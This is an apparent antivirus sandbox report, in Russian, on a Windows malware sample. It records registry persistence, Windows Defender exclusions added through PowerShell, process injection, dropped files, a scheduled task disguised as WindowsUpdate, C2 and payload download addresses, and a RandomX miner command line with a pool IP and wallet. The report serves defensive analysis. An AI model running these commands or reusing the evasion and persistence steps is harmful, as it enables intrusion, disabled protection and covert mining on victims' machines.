Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\RunOnce] 'vRHLxWbzCvSEfApowhcr' = '%WINDIR%\Microsoft.NET\Framework\NZIXvDdxusP\svchost.exe'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\RunOnce] 'Onedrive' = '%ALLUSERSPROFILE%\Onedrive\Onedrive.exe'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Hosting.exe' = '%APPDATA%\Hosting.exe'
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\vrhlxwbzcvsefapowhcr.exe
- <SYSTEM32>\tasks\firefox default browser agent 9e84c37f70edbb46
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Системный антивирус (Защитник Windows)
блокирует:
- Средство контроля пользовательских учетных записей (UAC)
добавляет исключения антивируса с помощью следующих ключей реестра::
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '<Полный путь к файлу>' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\vRHLxWbzCvSEfApowhcr.exe' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Microsoft.NET\Framework\NZIXvDdxusP\svchost.exe' = '00000000'
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\svchost.exe
следующие пользовательские процессы:
- iexplore.exe
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\耞耢耙耔耑耤聇耏耷耲耰耟耱聅耿耘耜聀耟耸耔聃耾耑耽\<Имя файла>.exe_url_wenp1xde4ov1ckb5zgsiciyxkunvjbzm\3.42.547.200\efkrwmk2.newcfg
- %TEMP%\768c.exe
- %TEMP%\738f.exe
- %APPDATA%\hosting.exe
- %TEMP%\7072.exe
- %TEMP%\6df1.exe
- %TEMP%\68d2.exe
- %ALLUSERSPROFILE%\onedrive\onedrive.exe
- %TEMP%\4451.exe
- %ALLUSERSPROFILE%\cspulfhxwc\cfg
- %TEMP%\f5a4.tmp-shm
- %ALLUSERSPROFILE%\cspulfhxwc\cfgi
- %APPDATA%\jvietdh
- %APPDATA%\fjrvbbw
- %TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\test.bat
- %TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\advancedrun.exe
- %LOCALAPPDATA%\耞耢耙耔耑耤聇耏耷耲耰耟耱聅耿耘耜聀耟耸耔聃耾耑耽\vrhlxwbzcvsefapowhcr.exe_url_5fliax5psvuawemwwx0h4z1m2ruvvtfh\3.42.547.200\a31nsva1.newcfg
- %TEMP%\d8e6.tmp
- %WINDIR%\microsoft.net\framework\nzixvddxusp\svchost.exe
- %TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\test.bat
- %TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\advancedrun.exe
- %TEMP%\3b7a.exe
- %TEMP%\2ad.tmp-shm
Присваивает атрибут 'скрытый' для следующих файлов
- %APPDATA%\fjrvbbw
- %APPDATA%\jvietdh
- %ALLUSERSPROFILE%\onedrive\onedrive.exe
Удаляет следующие файлы
- %TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\advancedrun.exe
- %TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\test.bat
- %TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\advancedrun.exe
- %TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\test.bat
- %WINDIR%\microsoft.net\framework\v4.0.30319\regsvcs.exe
- %TEMP%\f5a4.tmp-shm
- %TEMP%\2ad.tmp-shm
Перемещает следующие файлы
- %LOCALAPPDATA%\耞耢耙耔耑耤聇耏耷耲耰耟耱聅耿耘耜聀耟耸耔聃耾耑耽\<Имя файла>.exe_url_wenp1xde4ov1ckb5zgsiciyxkunvjbzm\3.42.547.200\efkrwmk2.newcfg в %LOCALAPPDATA%\耞耢耙耔耑耤聇耏耷耲耰耟耱聅耿耘耜聀耟耸耔聃耾耑耽\<Имя файла>.exe_url_wenp1xde4ov1ckb5zgsiciyxkunvjbzm\3.42.547.200\user.config
- %LOCALAPPDATA%\耞耢耙耔耑耤聇耏耷耲耰耟耱聅耿耘耜聀耟耸耔聃耾耑耽\vrhlxwbzcvsefapowhcr.exe_url_5fliax5psvuawemwwx0h4z1m2ruvvtfh\3.42.547.200\a31nsva1.newcfg в %LOCALAPPDATA%\耞耢耙耔耑耤聇耏耷耲耰耟耱聅耿耘耜聀耟耸耔聃耾耑耽\vrhlxwbzcvsefapowhcr.exe_url_5fliax5psvuawemwwx0h4z1m2ruvvtfh\3.42.547.200\user.config
Сетевая активность
Подключается к
- 'microsoft.com':80
- 'li######lsupporters9.com':80
- 'gr###co2020.top':80
- '17#.#3.140.185':80
- 'cd#.##scordapp.com':443
- 'gr#####deteam.ddns.net':20000
TCP
Запросы HTTP GET
- http://li######lsupporters9.com/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-7E7211BBED702BE11C5FAFC4ECE66D5E.html
- http://17#.#3.140.185/25%25.exe
Запросы HTTP POST
- http://gr###co2020.top/
UDP
- DNS ASK microsoft.com
- DNS ASK li######lsupporters9.com
- DNS ASK gr###co2020.top
- DNS ASK cd#.##scordapp.com
- DNS ASK gr#####deteam.ddns.net
Другое
Создает и запускает на исполнение
- '%TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\advancedrun.exe' /EXEFilename "%TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
- '%ALLUSERSPROFILE%\onedrive\onedrive.exe'
- '%TEMP%\768c.exe'
- '%TEMP%\738f.exe'
- '%TEMP%\7072.exe'
- '%TEMP%\68d2.exe'
- '%ALLUSERSPROFILE%\onedrive\onedrive.exe' 556
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%WINDIR%\Microsoft.NET\Framework\NZIXvDdxusP\svchost.exe" -Force
- '%TEMP%\6df1.exe'
- '%TEMP%\3b7a.exe'
- '%APPDATA%\hosting.exe'
- '%TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\advancedrun.exe' /EXEFilename "%TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
- '%APPDATA%\microsoft\windows\start menu\programs\startup\vrhlxwbzcvsefapowhcr.exe'
- '%TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\advancedrun.exe' /SpecialRun 4101d8 2084
- '%TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\advancedrun.exe' /SpecialRun 4101d8 636
- '%TEMP%\4451.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "<Полный путь к файлу>" -Force' (со скрытым окном)
- '%TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\advancedrun.exe' /EXEFilename "%TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run' (со скрытым окном)
- '%TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\advancedrun.exe' /EXEFilename "%TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c timeout 1' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%WINDIR%\Microsoft.NET\Framework\NZIXvDdxusP\svchost.exe" -Force' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\vRHLxWbzCvSEfApowhcr.exe" -Force' (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /sc minute /mo 1 /tn WindowsUpdate /tr %TEMP%\System.exe' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "<Полный путь к файлу>" -Force
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" del /F %TEMP%\A0B9.exe"
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" echo j "
- '<SYSTEM32>\schtasks.exe' /create /sc minute /mo 1 /tn WindowsUpdate /tr %TEMP%\System.exe
- '%WINDIR%\syswow64\ping.exe' 127.0.0.1
- '%WINDIR%\explorer.exe'
- '%WINDIR%\syswow64\explorer.exe'
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" del deleteMyProgram.bat"
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\melt.bat" "
- '%WINDIR%\syswow64\cmd.exe' /C WScript "%ALLUSERSPROFILE%\cSPUlFhxwc\r.vbs"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regsvcs.exe'
- '%WINDIR%\syswow64\timeout.exe' 1
- '%WINDIR%\syswow64\cmd.exe' /c timeout 1
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%WINDIR%\Microsoft.NET\Framework\NZIXvDdxusP\svchost.exe" -Force
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\vRHLxWbzCvSEfApowhcr.exe" -Force
- '%WINDIR%\syswow64\wscript.exe' "%ALLUSERSPROFILE%\cSPUlFhxwc\r.vbs"
- '<SYSTEM32>\svchost.exe' -B --donate-level=1 -a RandomX --url=179.43.140.174:3333 -u 45xUdHPiFHQ7xbKh19G45saF1raB2ot5pag8p1Hnk4yrfXRJZskr8TMbFpVfC5tDk8eQQg63TqkW9gKhwagx6HePTaK2yXb -p -R --variant=-1 --max-cpu-usage=2...
